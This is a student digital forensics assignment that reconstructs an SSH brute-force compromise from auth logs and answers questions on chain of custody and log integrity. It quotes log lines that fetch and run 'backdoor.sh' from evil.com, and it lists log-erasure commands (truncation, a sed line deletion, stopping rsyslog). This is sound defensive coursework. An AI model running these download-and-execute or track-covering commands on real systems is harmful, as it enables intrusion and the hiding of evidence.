



PUNJAB UNIVERSITY COLLEGE OF INFORMATION
AND TECHNOLOGY (PUCIT)

DIGITAL FORENSICS ASSIGNMENT

Information Security

Student Name	Khadija Amer
Roll Number	BCSF24A030
Submitted To	Sir Shehryar Raza
Course	Information Security
Assignment	Log Analysis & Forensic Investigation
Submission Date	27 May 2026

Table of Contents

1. Introduction	3
2. Part A: Log Analysis & Timeline Reconstruction	3
2.1 Question 1 — Attacker IP Address	3
2.2 Question 2 — Time of Successful Unauthorized Access	4
2.3 Question 3 — Commands Executed by the Attacker	4
2.4 Question 4 — Malicious File Downloaded	5
2.5 Question 5 — Pre vs Post-Attack Log Comparison	5
2.6 Question 6 — Full Attack Timeline	6
2.7 Question 7 — Compromised User Accounts	7
2.8 Question 8 — Persistence Mechanism	8
2.9 Question 9 — Executive Summary	8
3. Part B: Theoretical & Forensic Questions	9
3.1 Question B1 — Chain of Custody	9
3.2 Question B2 — Log Integrity & Track Erasure	10
3.3 Question B3 — CLI Tools for Log Analysis	11
3.4 Question B4 — False Positives Analysis	11
3.5 Question B5 — Legal & Ethical Considerations	12
3.6 Question B6 — Forensics Report Structure	12
4. Conclusion	12

1. Introduction

This report presents the findings of a digital forensics investigation conducted on two SSH authentication log files — `auth_pre.log` and `auth_post.log` — collected from a Linux server on 10 April 2025. The pre-attack log covers activity between 08:15 and 10:50, while the post-attack log covers 20:15 to 21:59 on the same day. The objective of this investigation is to identify the attacker, reconstruct the sequence of events, determine the extent of the compromise, and provide both technical and theoretical analysis in accordance with established digital forensics principles.

The investigation follows a structured methodology: evidence is referenced directly to specific log lines, the integrity of the original log files has been preserved throughout analysis, and findings are presented in a format suitable for both technical and managerial audiences. The two log files together provide sufficient data to reconstruct a complete attack timeline, from initial reconnaissance through to successful compromise and post-exploitation activity.

2. Part A: Log Analysis & Timeline Reconstruction

2.1 Question 1 — Attacker's IP Address

Identified Attacker IP: 185.130.5.253

Looking through `auth_post.log`, it becomes clear pretty quickly that IP 185.130.5.253 is behaving very differently from all other addresses in the log. It makes six consecutive failed login attempts against the root account within the space of about two and a half minutes, each on a slightly different port number, before finally getting in. This kind of rapid, sequential port incrementing is not something a human would do manually — it is the signature of an automated brute-force tool.

The relevant log lines are in following ss:

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Select-String "185.130.5.253" auth_post.log

auth_post.log:2:2025-04-10 20:17:45 sshd[2150]: Failed password for root from 185.130.5.253 port 55982
auth_post.log:3:2025-04-10 20:18:10 sshd[2155]: Failed password for root from 185.130.5.253 port 56011
auth_post.log:4:2025-04-10 20:18:35 sshd[2160]: Failed password for root from 185.130.5.253 port 56044
auth_post.log:5:2025-04-10 20:19:02 sshd[2165]: Failed password for root from 185.130.5.253 port 56089
auth_post.log:6:2025-04-10 20:19:28 sshd[2170]: Failed password for root from 185.130.5.253 port 56123
auth_post.log:7:2025-04-10 20:19:55 sshd[2175]: Failed password for root from 185.130.5.253 port 56177
auth_post.log:8:2025-04-10 20:20:10 sshd[2180]: Accepted password for root from 185.130.5.253 port 56201
auth_post.log:17:2025-04-10 20:35:22 sshd[2240]: Connection closed by 185.130.5.253 port 56202

PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> █
```

Importantly, this IP does not appear anywhere in `auth_pre.log`. It only shows up in the post-attack log, confirming it is the attacker and not a regular user or known external system.

2.2 Question 2 — Time of Successful Unauthorized Access

Field	Value
Timestamp	2025-04-10 20:20:10
Source IP	185.130.5.253
Username	root
Port	56201
Log Entry	sshd[2180]: Accepted password for root from 185.130.5.253 port 56201

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Select-String "Accepted password for root" auth_post.log
```

```
auth_post.log:8:2025-04-10 20:20:10 sshd[2180]: Accepted password for root from 185.130.5.253 port 56201
```

This is the most critical event in the entire log. Root is the highest privilege account on any Linux system — gaining access as root means the attacker immediately has full control without needing to escalate privileges separately. From this point onward, the server must be considered fully compromised.

2.3 Question 3 — Commands Executed by the Attacker

After gaining root access, the attacker ran two commands, both visible in the sudo log entries under the active root session:

Timestamp	Command	What It Does
20:22:15	/usr/bin/wget http://evil.com/backdoor.sh	Downloads a malicious shell script from attacker's external server
20:23:40	/bin/bash backdoor.sh	Executes the downloaded script with full root privileges

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Select-String "sudo" auth_post.log
```

```
auth_post.log:10:2025-04-10 20:22:15 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/backdoor.sh
auth_post.log:11:2025-04-10 20:23:40 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/bin/bash backdoor.sh
auth_post.log:19:2025-04-10 20:40:55 sudo: bob : TTY=pts/1 ; PWD=/home/bob ; USER=root ; COMMAND=/usr/bin/systemctl status nginx
auth_post.log:21:2025-04-10 20:45:17 sudo: alice : TTY=pts/2 ; PWD=/var/www ; USER=www-data ; COMMAND=/usr/bin/zip -r backup.zip html/
auth_post.log:24:2025-04-10 20:53:10 sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/usr/bin/nmap -sV localhost
auth_post.log:31:2025-04-10 21:09:10 sudo: alice : TTY=pts/2 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/less /var/log/auth.log
auth_post.log:34:2025-04-10 21:18:44 sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/usr/bin/apt install fail2ban -y
auth_post.log:40:2025-04-10 21:33:10 sudo: alice : TTY=pts/2 ; PWD=/var/backups ; USER=root ; COMMAND=/usr/bin/tar -czf web_backup.tar.gz /var/www/html
auth_post.log:43:2025-04-10 21:41:55 sudo: bob : TTY=pts/1 ; PWD=/home/bob ; USER=root ; COMMAND=/usr/bin/systemctl restart sshd
auth_post.log:49:2025-04-10 21:56:30 sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/usr/bin/ss -tulnp
```

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR>
```

The session was opened at 20:21:30, and the attacker's connection was closed at 20:35:22, meaning they were actively on the system for around 14 minutes. Within the first two minutes of getting in, they had already downloaded and run their payload — which tells us this was a prepared, deliberate attack, not an opportunistic one.

2.4 Question 4 — Malicious File Downloaded

File Name: backdoor.sh

Source URL: <http://evil.com/backdoor.sh>

```
10 2025-04-10 20:22:15 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/backdoor.s
11 2025-04-10 20:23:40 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/bin/bash backdoor.sh
```

The attacker used `wget` — a standard Linux download utility — to pull a shell script from a domain called `evil.com`. The script was saved to `/root` (the working directory shown in the log) and then immediately executed with `bash`. The fact that it was run as `root` with no delay strongly suggests this was a pre-prepared payload. Backdoor scripts like this typically do things like add a hidden user account, insert an SSH public key for persistent access, set up a cron job to re-download instructions, or open a reverse shell connection back to the attacker.

```
PS D:\Documents\Study\4th semester\IS\ISAssignments\DFIR> Select-String "wget" auth_post.log
auth_post.log:10:2025-04-10 20:22:15 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/backdoor.sh
PS D:\Documents\Study\4th semester\IS\ISAssignments\DFIR>
```

2.5 Question 5 — Pre vs Post-Attack Log Comparison

Comparing `auth_pre.log` and `auth_post.log` side by side reveals three clear suspicious differences that were not present before the attack:

Difference 1 — Brute-Force Attack Pattern from New External IP

In the pre-attack log, there are no login attempts at all from `185.130.5.253`. The only failed logins in the pre-attack period come from `203.0.113.5` (invalid usernames like `admin`, `ftpuser`) and a couple from `198.51.100.77` — both of which are low-level background scanning, not a targeted attack. Post-attack, `185.130.5.253` appears and makes six rapid failed attempts specifically targeting `root` before succeeding. This pattern is new, targeted, and clearly automated.

Difference 2 — Interactive Root Session from External IP

In `auth_pre.log`, `root` cron sessions open and close within a second (e.g. `08:35:01 / 08:35:02`) — these are automated scheduled tasks, which is completely normal. There is no interactive root session from any external IP. In `auth_post.log`, a full interactive PAM session is opened for `root` at `20:21:30` following the external brute-force login. This is a fundamental difference — a human attacker is now sitting inside an active root shell.

Difference 3 — `wget` and `bash` Commands Under Root

Every `sudo` command in `auth_pre.log` is routine system administration: `apt update`, `systemctl status`, `nmap -sV localhost`, `zip` for backup, `tar` for archiving, `less` to read logs, `ss -tuln` to check ports. None of these are alarming in context. In `auth_post.log`, two entirely new command types appear under `root` that have no equivalent in the pre-attack log: `wget` downloading from an external domain, and `bash` executing the result. These two commands together represent the delivery and execution of malware — they simply do not belong in a legitimate admin session.

2.6 Question 6 — Full Attack Timeline

Time	Event	Evidence (Log Reference)
20:15:22	Legitimate user john logs in from internal IP 192.168.1.105. The server is in normal operation at the start of the post-attack window.	sshd[2123]: Accepted password for john from 192.168.1.105 port 54321
20:17:45	First brute-force attempt. Attacker at 185.130.5.253 begins automated password guessing against the root account.	sshd[2150]: Failed password for root from 185.130.5.253 port 55982
20:18:10 – 20:19:55	Brute-force continues. Five more failed root login attempts from 185.130.5.253 across incrementing ports. The automated tool cycles through passwords rapidly.	sshd[2155]–sshd[2175]: Failed password for root x5 from 185.130.5.253
20:20:10	BREACH: Attacker successfully authenticates as root. The correct password was found after six attempts. Full administrative access is now granted.	sshd[2180]: Accepted password for root from 185.130.5.253 port 56201
20:21:30	Root session opened. PAM creates an interactive session for root — the attacker now has an active shell with unrestricted system access.	pam_unix(sshd:session): session opened for user root by (uid=0)
20:22:15	Malware downloaded. Attacker uses wget to pull backdoor.sh from their controlled server at evil.com. First stage of establishing persistence.	sudo: root COMMAND=/usr/bin/wget http://evil.com/backdoor.sh
20:23:40	Backdoor executed. The downloaded script is run with bash as root. Persistence mechanism is almost certainly installed at this point.	sudo: root COMMAND=/bin/bash backdoor.sh
20:35:22	Attacker disconnects. The SSH connection from 185.130.5.253 is closed. The attacker leaves — but the backdoor they installed likely remains active.	sshd[2240]: Connection closed by 185.130.5.253 port 56202
20:38:10	Failed login for oracle from 192.168.1.200. Could indicate lateral movement attempts or a separate internal scan post-compromise.	sshd[2255]: Failed password for oracle from 192.168.1.200 port 37891
21:44:33	New failed root login from different external IP 198.51.100.77. Either a second attacker probing the same	sshd[2535]: Failed password for root from 198.51.100.77 port 47890

Time	Event	Evidence (Log Reference)
	server or the original attacker testing from a new address.	

2.7 Question 7 — Likely Compromised User Accounts

Account	Status	Reasoning
root	Confirmed Compromised	External attacker gained full root access at 20:20:10 and executed malicious commands. Root is definitively compromised.
john	Suspicious	John ran nmap -sV localhost and ss -tulpn in both pre and post logs — network port scanning and socket listing are standard attacker reconnaissance tools. While these could be legitimate admin tasks, their continued use after the breach is suspicious and warrants investigation.
alice	Suspicious	In auth_pre.log at 10:20:33, alice ran chmod 777 /tmp — setting world-writable permissions on the temp directory is a well-known technique used to create a staging area for malware execution. A legitimate admin would rarely do this without a documented reason. Alice also had a failed login at 21:27:55 followed immediately by success at 21:30:22.

```
PS D:\Documents\Study\4th semester\IS\ISAssignments\DFIR> Select-String "chmod" auth_pre.log
auth_pre.log:43:2025-04-10 10:20:33 sudo: alice : TTY=pts/2 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/chmod 777 /tmp

PS D:\Documents\Study\4th semester\IS\ISAssignments\DFIR> Select-String "shadow" auth_pre.log
auth_pre.log:51:2025-04-10 10:45:22 sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow

PS D:\Documents\Study\4th semester\IS\ISAssignments\DFIR>
```

2.8 Question 8 — Persistence Mechanism

The execution of backdoor.sh at 20:23:40 is the strongest indicator of a persistence mechanism being installed. Based on what such scripts commonly do when run as root, the attacker most likely implemented one or more of the following:

- SSH authorized key injection — appending the attacker's public key to /root/.ssh/authorized_keys, allowing them to log back in at any time even if the password is reset.
- Cron job — adding a hidden scheduled task (e.g. every minute, curl a URL and pipe to bash) to continuously re-establish access or download updated payloads.
- Reverse shell — an outbound connection initiated from the server to the attacker's machine, bypassing inbound firewall rules since the traffic appears to originate internally.
- Hidden user account — creating a new user with UID 0 (root equivalent) or adding an account to the sudo group, disguised with an inconspicuous username.

Supporting this, the CRON entry at 21:24:30 for root — just under an hour after the attack — is worth flagging. While brief root cron sessions are normal, the timing is suspicious and may represent a newly installed cron task being executed for the first time. Additionally, alice's chmod 777 /tmp in the pre-attack log may have been used to prepare a writable staging area for the backdoor payload.

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> select-string "CRON" auth_post.log

auth_post.log:14:2025-04-10 20:30:12 CRON[2210]: pam_unix(cron:session): session opened for user root by (uid=0)
auth_post.log:15:2025-04-10 20:30:13 CRON[2210]: pam_unix(cron:session): session closed for user root
auth_post.log:27:2025-04-10 21:00:01 CRON[2350]: pam_unix(cron:session): session opened for user backup by (uid=1002)
auth_post.log:28:2025-04-10 21:00:02 CRON[2350]: pam_unix(cron:session): session closed for user backup
auth_post.log:36:2025-04-10 21:24:30 CRON[2450]: pam_unix(cron:session): session opened for user root by (uid=0)
auth_post.log:37:2025-04-10 21:24:31 CRON[2450]: pam_unix(cron:session): session closed for user root
auth_post.log:46:2025-04-10 21:50:22 CRON[2565]: pam_unix(cron:session): session opened for user alice by (uid=1001)
auth_post.log:47:2025-04-10 21:50:23 CRON[2565]: pam_unix(cron:session): session closed for user alice

PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR>
```

2.9 Question 9 — Executive Summary

On 10 April 2025, our server was successfully compromised by an external attacker. Beginning at 20:17, an automated attack tool originating from IP address 185.130.5.253 attempted to guess the root account password repeatedly. After six attempts over approximately two and a half minutes, the attacker succeeded and gained full administrative access at 20:20. Within minutes of getting in, they downloaded and executed a malicious script from an external server — a clear sign this was a planned attack with a prepared payload, not an accidental or opportunistic intrusion. That script almost certainly installed a backdoor, meaning the attacker can likely re-enter the system at will even now that their initial session has ended. Analysis of user activity both before and after the attack also reveals concerning behaviour from accounts belonging to john and alice, which may indicate either compromised accounts or insider involvement. Immediate steps required include isolating the affected server from the network, resetting all credentials, auditing all cron jobs and SSH authorised keys for entries that do not belong, and conducting a full forensic image of the system before any cleanup is attempted. Engaging a professional incident response team is strongly recommended.

3. Part B: Theoretical & Forensic Questions

3.1 Question B1 — Chain of Custody

Why We Cannot Edit the Log Files Directly

The fundamental issue is that editing an original evidence file — even to add a note or fix formatting — breaks its provenance. In any legal or disciplinary proceeding, opposing parties can argue that the file was altered after collection, and without proof it was not, the evidence may be deemed inadmissible. Digital evidence is only credible if it can be demonstrated to be exactly as it was at the moment it was acquired. Any unexplained modification, however minor, introduces reasonable doubt.

Steps to Take Before Analysis

- Document the scene — record the system's date and time (including any UTC offset), the physical location, who was present, and the exact circumstances of collection before touching anything.
- Create a forensic image — use a hardware write-blocker with a tool such as dd, dcfldd, or FTK Imager to produce a bit-for-bit copy of the storage. Never work on the original.
- Hash the evidence — immediately generate SHA-256 hashes of both the original and the forensic copy. Record these values formally. Re-hash before and after every analysis session to prove nothing changed.

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Get-FileHash auth_pre.log
>> Get-FileHash auth_post.log

Algorithm      Hash
-----
SHA256         A00633EF9C45F5A02EF251ABB43218EFD24A183D96F6183B35522C5E95AF4483
SHA256         4BDD06154BEAA9F06EABC5B621FC8DB33D3E27FBA88BDA3B9A1B761D58924197
Path
-----
D:\Documents\Study\4th semester\IS\ISAssingments\DFIR\auth_pre.log
D:\Documents\Study\4th semester\IS\ISAssingments\DFIR\auth_post.log

PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR>
```

- Complete a chain of custody form — this document records who collected the evidence, when, where it has been stored, and every individual who has handled it since. Every transfer must be signed.
- Secure the originals — place the original media in a tamper-evident evidence bag in a locked, access-controlled location. All analysis is performed only on the verified copy.

3.2 Question B2 — Log Integrity & Track Erasure

How an Attacker Could Cover Their Tracks

- Direct text editing — with root access, the attacker can open /var/log/auth.log in any text editor and simply delete lines containing their IP address.

```
8 2025-04-10 20:20:10 sshd[2180]: Accepted password for root from 185.130.5.253 port 56201
9 2025-04-10 20:21:30 sshd[2185]: pam_unix(sshd:session): session opened for user root by (uid=0)
10 2025-04-10 20:22:15 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/backdoor.s
11 2025-04-10 20:23:40 sudo: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/bin/bash backdoor.sh
```

- Full truncation — running a command like > /var/log/auth.log or truncate -s 0 wipes the file completely, removing all evidence along with all legitimate records.

- Selective line deletion with sed — a command such as `sed -i '/185.130.5.253/d' auth.log` removes only lines matching the attacker's IP, making the deletion far less obvious than wiping the whole file.
- Stopping the logging service — the attacker could disable rsyslog or syslog (`systemctl stop rsyslog`) so that subsequent activity generates no log entries at all.
- Timestomping — using the touch command to reset the log file's modification timestamp, hiding the fact it was recently altered.

How a Forensic Investigator Would Detect Tampering

- Hash mismatch — if a SIEM, log integrity tool (like AIDE), or backup system had previously hashed the log file, any difference immediately reveals tampering.
- Timeline gaps — examining timestamps for unusual silences on an active server (e.g. 15 minutes of complete quiet during a busy period) is a strong indicator that entries were removed.
- Remote/centralised logs — if the organisation was forwarding logs to a remote syslog server or SIEM (Splunk, ELK), the remote copy remains unaffected by local deletion and can be compared directly.
- File system metadata — the inode change time (ctime) cannot be easily forged and may show the log was modified after the incident.

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Get-Item auth_pre.log | Select-Object *
>> Get-Item auth_post.log | Select-Object *

PSPath           : Microsoft.PowerShell.Core\FileSystem::D:\Documents\Study\4th semester\IS\ISAssingments\DFIR\auth_pre.log
PSParentPath     : Microsoft.PowerShell.Core\FileSystem::D:\Documents\Study\4th semester\IS\ISAssingments\DFIR
PSCildName       : auth_pre.log
PSDrive         : D
PSProvider       : Microsoft.PowerShell.Core\FileSystem
PSIsContainer    : False
Mode            : -a----
VersionInfo      : File: D:\Documents\Study\4th semester\IS\ISAssingments\DFIR\auth_pre.log
                   InternalName:
                   OriginalFilename:
                   FileVersion:
                   FileDescription:
                   Product:
                   ProductVersion:
                   Debug: False
                   Patched: False
                   PreRelease: False
                   PrivateBuild: False
                   SpecialBuild: False
                   Language:
BaseName         : auth_pre
Target           : {}
LinkType         :
Name             : auth_pre.log
Length           : 4876
DirectoryName    : D:\Documents\Study\4th semester\IS\ISAssingments\DFIR
Directory        : D:\Documents\Study\4th semester\IS\ISAssingments\DFIR
IsReadOnly       : False
Exists           : True
FullName         : D:\Documents\Study\4th semester\IS\ISAssingments\DFIR\auth_pre.log
Extension        : .log
CreationTime     : 5/26/2026 9:15:58 AM
CreationTimeUtc  : 5/26/2026 4:15:58 AM
LastAccessTime   : 5/26/2026 9:15:58 AM
LastAccessTimeUtc : 5/26/2026 4:15:58 AM
LastWriteTime    : 5/26/2026 9:11:19 AM
LastWriteTimeUtc : 5/26/2026 4:11:19 AM
Attributes       : Archive

PSPath           : Microsoft.PowerShell.Core\FileSystem::D:\Documents\Study\4th semester\IS\ISAssingments\DFIR\auth_post.log
PSParentPath     : Microsoft.PowerShell.Core\FileSystem::D:\Documents\Study\4th semester\IS\ISAssingments\DFIR
PSCildName       : auth_post.log
PSDrive         : D
PSProvider       : Microsoft.PowerShell.Core\FileSystem
PSIsContainer    : False
```

- systemd journal — journald stores logs in a binary format separate from text log files, making it harder to silently erase events from both simultaneously.

3.3 Question B3 — CLI Tools for Log Analysis

Tool 1: grep, sort, and uniq

These three standard Linux utilities work well together for merging and filtering log files. No installation is needed — they are present on every Linux system.

```
# Merge both logs and sort chronologically by timestamp
cat auth_pre.log auth_post.log | sort -k1,2 > merged_timeline.log

# Count failed login attempts per IP to spot brute-force sources
grep "Failed password" merged_timeline.log | grep -oP "from \K[\d.]+" | sort | uniq -c | sort -rn
```

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Get-Content auth_pre.log, auth_post.log | Sort-Object > merged.log
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> Select-String "185.130.5.253" auth_post.log | Sort-Object

auth_post.log:17:2025-04-10 20:35:22 sshd[2240]: Connection closed by 185.130.5.253 port 56202
auth_post.log:2:2025-04-10 20:17:45 sshd[2150]: Failed password for root from 185.130.5.253 port 55982
auth_post.log:3:2025-04-10 20:18:10 sshd[2155]: Failed password for root from 185.130.5.253 port 56011
auth_post.log:4:2025-04-10 20:18:35 sshd[2160]: Failed password for root from 185.130.5.253 port 56044
auth_post.log:5:2025-04-10 20:19:02 sshd[2165]: Failed password for root from 185.130.5.253 port 56089
auth_post.log:6:2025-04-10 20:19:28 sshd[2170]: Failed password for root from 185.130.5.253 port 56123
auth_post.log:7:2025-04-10 20:19:55 sshd[2175]: Failed password for root from 185.130.5.253 port 56177
auth_post.log:8:2025-04-10 20:20:10 sshd[2180]: Accepted password for root from 185.130.5.253 port 56201
```

Tool 2: awk

awk is a text-processing tool that works well for extracting specific fields and computing statistics from structured log data.

```
# Extract all sudo commands with timestamps from both log files
awk '/sudo/ {print $1, $2, $0}' auth_pre.log auth_post.log | sort

# Count login attempts per username to find targeted accounts
awk '/Failed password/ {print $9}' merged_timeline.log | sort | uniq -c | sort -rn
```

3.4 Question B4 — False Positives from 203.0.113.5

Conclusion: The failed logins from 203.0.113.5 are NOT part of the main attack.

There are a few reasons why. First, 203.0.113.5 is targeting completely different usernames — it probes for admin, ftpuser, guest, and mysql, all of which are invalid users on this system. The actual attacker at 185.130.5.253 focused exclusively on the real account root. This difference in targeting suggests a fundamentally different goal.

Second, the attempts from 203.0.113.5 appear in both the pre-attack and post-attack logs with the same low-frequency pattern. This is consistent with routine background noise from automated internet scanners — bots that constantly probe publicly accessible SSH servers looking for common default usernames. This kind of scanning is happening on virtually every server with port 22 open, all the time.

Third, unlike 185.130.5.253, the 203.0.113.5 activity never escalates to a successful login or any subsequent commands. It tries one username, fails, and moves on. That is the pattern of an indiscriminate scanner, not a motivated attacker who has chosen this specific server as a target.

That said, 203.0.113.5 should still be documented and blocked at the firewall — it is an ongoing nuisance and represents a real if low-level security risk.

```
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> (Select-String "203.0.113.5" auth_pre.log).Count
5
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR> (Select-String "203.0.113.5" auth_post.log).Count
4
PS D:\Documents\Study\4th semester\IS\ISAssingments\DFIR>
```

3.5 Question B5 — Legal & Ethical Considerations

Question: Can Alice's sudo commands be examined without her personal consent?

In most organisational and legal contexts, yes — and here is why. The key frameworks that apply are:

- Acceptable Use Policy (AUP) and employment contract — most employees sign a policy at onboarding that explicitly states company systems are monitored and that users have no expectation of privacy when using company infrastructure. If Alice signed such a policy, her consent was given at that point.
- Computer Misuse Act 1990 (UK) / equivalent legislation — investigation is lawful when authorised by the system owner (the organisation) to investigate suspected unauthorised access or misuse. The CISO or senior management can authorise the examination.
- GDPR Article 6(1)(f) — legitimate interests — allows processing of employee activity data during a security investigation, provided the processing is proportionate and limited to what is necessary for the investigation.
- ACPO / NIST SP 800-86 best practice — investigators should obtain written authorisation from legal counsel or senior management before accessing user data, even when legally permitted, to protect both the investigator and the organisation from later challenge.

In practice: get written sign-off from the CISO and Legal before proceeding, limit the scope of examination strictly to the relevant activity, and document everything.

3.6 Question B6 — Essential Sections of a Forensics Report

#	Section	What It Covers
1	Executive Summary	A non-technical overview of what happened, the impact, and recommended actions. Written for senior management and the CISO — no jargon, just the key facts and decisions required.

#	Section	What It Covers
2	Scope & Methodology	Defines what systems were examined, what evidence was collected, which tools were used, and the forensic methodology followed (ACPO, NIST 800-86, etc.). This establishes the scientific validity of the investigation.
3	Findings & Evidence	The detailed technical findings: complete attack timeline, identified IPs, commands executed, malware discovered, and indicators of compromise. Every finding must link directly to a specific log entry or evidence artifact.
4	Chain of Custody & Integrity	Documents how evidence was collected, stored, and handled throughout the investigation. Includes hash values, acquisition timestamps, storage location, and every person who accessed the evidence. Essential for legal admissibility.
5	Conclusions & Recommendations	States what definitively occurred — attribution, method, and scope of the breach — followed by prioritised remediation recommendations covering both immediate response and longer-term security improvements.

4. Conclusion

This investigation has demonstrated how much information can be extracted from authentication logs alone when they are analysed carefully and systematically. The two log files provided enough evidence to identify the attacker's IP address, pinpoint the exact moment of compromise, reconstruct every action the attacker took on the system, and identify suspicious behaviour from legitimate user accounts that warrants further investigation.

Several broader lessons emerge from this analysis. Weak or absent brute-force protections — such as the lack of account lockout or fail2ban on the root account — are what allowed this attack to succeed. Root login over SSH should ideally be disabled entirely, with administrators using unprivileged accounts and escalating via sudo. The attack also highlights the value of centralised, remote log storage: if the attacker had wiped the local logs after running backdoor.sh, a purely local investigation would have had very little to work with.

From a theoretical standpoint, the forensic principles covered in Part B — chain of custody, log integrity, legal authorisation — are not bureaucratic formalities. They are what makes digital evidence credible and defensible. Without them, even a perfectly conducted technical analysis can be challenged and dismissed. Combining rigorous technical methodology with proper evidence handling is what distinguishes a professional forensic investigation from simply reading log files.

— End of Report —